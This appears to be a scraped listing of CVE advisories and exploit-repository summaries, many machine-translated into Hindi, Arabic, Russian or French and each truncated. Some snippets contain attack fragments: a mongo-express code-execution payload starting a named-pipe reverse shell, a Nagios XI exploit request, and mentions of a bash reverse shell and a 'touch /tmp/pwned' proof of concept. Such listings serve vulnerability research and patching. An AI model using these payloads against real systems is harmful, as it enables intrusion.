CVE-2026-61758

NVIDIA Megatron Bridge contains a vulnerability where an attacker could cause a deserialization of untrusted data. A successful exploit of this vulnerability might lead to code execution, data tampering, and information disclosure...

CVE-2026-61750

NVIDIA Megatron Bridge contains a vulnerability where an attacker could cause a deserialization of untrusted data. A successful exploit of this vulnerability might lead to code execution, data tampering, and information disclosure...

CVE-2026-58567

Dell PowerStore contains an OS Command Injection vulnerability. An authenticated user with limited privileges could potentially exploit this vulnerability to execute arbitrary commands with root privileges...

CVE-2022-25845-In-Spring

CVE-2022-25845-In-Spring मुख्य निर्भरताएँ 1. jackson 2. commons-io त्वरित पुनरुत्पादन 1. IDEA में प्रोजेक्ट आयात करें build mvn install 2. Dockerfile build && run docker build . 3. src/test/java/POC.java चलाएँ, touch /tmp/pwned कमांड निष्पादित करें शोषण स्पष्टीकरण Step1: java.io.InputStream को...

CVE-2026-10195

The FS-Poster plugin for WordPress is vulnerable to Remote Code Execution in versions up to and including 8.0.1. This is due to insufficient input sanitization of the FFmpeg path parameter before passing it to the exec function, combined with missing authorization checks on the REST API endpoints...

CVE-2022-26134-Exploit-Detection

Confluence RCE CVE-2022-26134 शोषण पहचान पूर्व-आवश्यकताएँ 1. ClamAV इस रिपॉजिटरी को क्लोन करें या अपने कॉन्फ्लुएंस सर्वर पर Yara नियम डाउनलोड करें हम volexity/threat-intel द्वारा प्रदान किए गए Yara नियम का उपयोग कर रहे हैं, जिन्होंने सबसे पहले इस कमजोरी का खुलासा किया। Git Clone root@kitploit: gi...

CVE-2019-11932-whatsApp-exploit

CVE-2019-11932-whatsap-exploit system और गैजेट का पता उस वास्तविक पते से बदला जाना चाहिए जो सूचना प्रकटीकरण कमज़ोरी information disclosure vulnerability द्वारा पाया गया हो। system और गैजेट का पता बदलने के बाद। दूषित GIF फ़ाइल बनाने के लिए कोड चलाएँ: अब इसे करते हैं...

cacti-rce-snmp-options-vulnerable-application

Cacti v1.2.24 प्रमाणित कमांड इंजेक्शन CVE-2023-39362 संवेदनशील एप्लिकेशन यह Cacti भेद्यता CVE-2023-39362 के लिए एक्सप्लॉइट का परीक्षण करने हेतु एक संवेदनशील एप्लिकेशन है। चेतावनी! इस एप्लिकेशन में गंभीर सुरक्षा भेद्यताएं हैं। इसे अपने जोखिम पर चलाएं! अनुशंसा की जाती है कि एक बैकअप और सुरक्षित...

CVE-2025-28073

CVE-2025-28073 الوصف المقترح phpList 3.6.3 عرضة لثغرة البرمجة النصية عبر المواقع XSS المنعكسة عبر نقطة النهاية /lists/dl.php. يمكن للمهاجم حقن كود JavaScript عشوائي من خلال التلاعب بمعامل id، والذي لا يتم تطهيره بشكل صحيح. نوع الثغرة البرمجة النصية عبر المواقع XSS بائع المنتج phpList قاعدة كود...

Joplin-CVE-2022-35131

Joplin CVE-2022-35131 ثغرة XSS تؤدي إلى تنفيذ التعليمات البرمجية عن بُعد RCE في Joplin، وتؤثر على الإصدار 2.8.8 والإصدارات الأقدم. تم اختبارها وتعمل على Windows وLinux. تم الإبلاغ عنها وإصلاحها: 2022-06 نظرة عامة تقنية 1. أنشئ ملاحظة بحمولة JavaScript كعنوان أمثلة POC أدناه 2. اضغط Ctrl+P وابحث ع...

CVE-2020-8163

CVE-2020-8163 CVE-2020-8163 - Rails में उपयोगकर्ता द्वारा प्रदान किए गए स्थानीय नामों का रिमोट कोड निष्पादन Rails 5.0.1 में उपयोगकर्ता द्वारा प्रदान किए गए स्थानीय नामों का रिमोट कोड निष्पादन Rails के 5.0.1 से पहले के संस्करणों में एक कमजोरी थी जो एक हमलावर को render कॉल के locals तर्क को नियंत्र...

CVE-2019-20197

Nagios XI दूरस्थ आदेश निष्पादन भेद्यता CVE-2019-20197 POC： POST /nagiosxi/includes/components/scheduledreporting/schedulereport.php HTTP/1.1 Host: x.x.x.x User-Agent: Mozilla/5.0 Windows NT 10.0; WOW64; rv:49.0 Gecko/20100101 Firefox/49.0 Accept:...

CVE-2019-10758

CVE-2019-10758 Удаленное выполнение кода в mongo-express, код обратного шелла: POST BODY 1: document=this.constructor.constructor"return process".mainModule.require"childprocess".execSync"mkfifo /tmp/f" POST BODY 2： document=this.constructor.constructor"return...

cve-2020-11651-exp-plus

استخدم bash لتنفيذ معامل --exec؛ كان البرنامج النصي الأصلي يستخدم /bin/sh، لذا فإن بعض الأوامر غير متوافقة مثل قشرة bash العكسية bash reverse shell. 2. كان الكود الأصلي يحصل على إصدار salt-master المحلي لتحديد ما إذا كان المضيف البعيد متأثرًا، وهذا خطأ منطقي واضح. لقد حذفت الكود ذي الصلة مباشرة...

poc-cribl-rce

إخلاء المسؤولية هذا للأغراض المعلوماتية/التعليمية فقط. تم تجميع هذا لإظهار نقطة ضعف في الأداة، وذلك للتحقق من الإصلاح من قبل البائع. معلومات تم الاختبار على Cribl الإصدار 1.5.0 - الإصدارات السابقة لم يتم اختبارها ولكنها على الأرجح معرضة للخطر. يمكن نقل رمز JWT صالح من وحقنه في جلسة مثيل Cribl آخر...

CVE-2024-23745

CVE-2024-23745 في Notion Web Clipper 1.0.37، يكون ملف .nib عرضة لهجوم Dirty NIB. يمكن التلاعب بملفات NIB لتنفيذ أوامر عشوائية. بالإضافة إلى ذلك، حتى إذا تم تعديل ملف NIB داخل تطبيق، فقد يسمح Gatekeeper بتنفيذ التطبيق، مما يتيح تنفيذ أوامر عشوائية في سياق التطبيق. التأثير يمكن للمهاجمين استغلال هذ...

CVE-2019-0604_sharepoint_CVE

CVE-2019-0604 CVE-2019-0604 से https://www.thezdi.com/blog/2019/3/13/cve-2019-0604-details-of-a-microsoft-sharepoint-rce-vulnerability...

cve-2020-10977-read-and-execute

CVE-2020-10977 قراءة وتنفيذ حول CVE-2020-10977 تقرير HackerOne: https://hackerone.com/reports/827052 Exploit-DB: https://www.exploit-db.com/exploits/48431 كيفية إعادة إنتاج جزء التنفيذ يدويًا: من القراءة إلى التنفيذ حول هذا المستودع getsecret.py - النص الرئيسي. يستخدم كود thewhiteh4t لاستغلال...

CVE-2022-1388

F5-CVE-2022-1388-Exploit استغلال ثغرة CVE 2022-1388 ونص تحقق الاستخدام root@kitploit: bash / | | | || | / | |/ / \ / | | || || | | / /| | | || | ' / /'| |/' |' / /'' / /'| | / / \ V / \ V / | | | | | || ||| / / | /| | / / / / ||| | \ \ / \ / \ | /\ / /| | ./ /\ |/ /./ /./ / | |./ /| || || ||...

cve-2024-6387-poc

cve-2024-6387-poc une condition de course dans le gestionnaire de signaux du serveur OpenSSH sshd 7etsuo Description Un exploit pour CVE-2024-6387, ciblant une condition de course dans le gestionnaire de signaux du serveur OpenSSH sshd sur les systèmes Linux basés sur glibc. La vulnérabilité perm...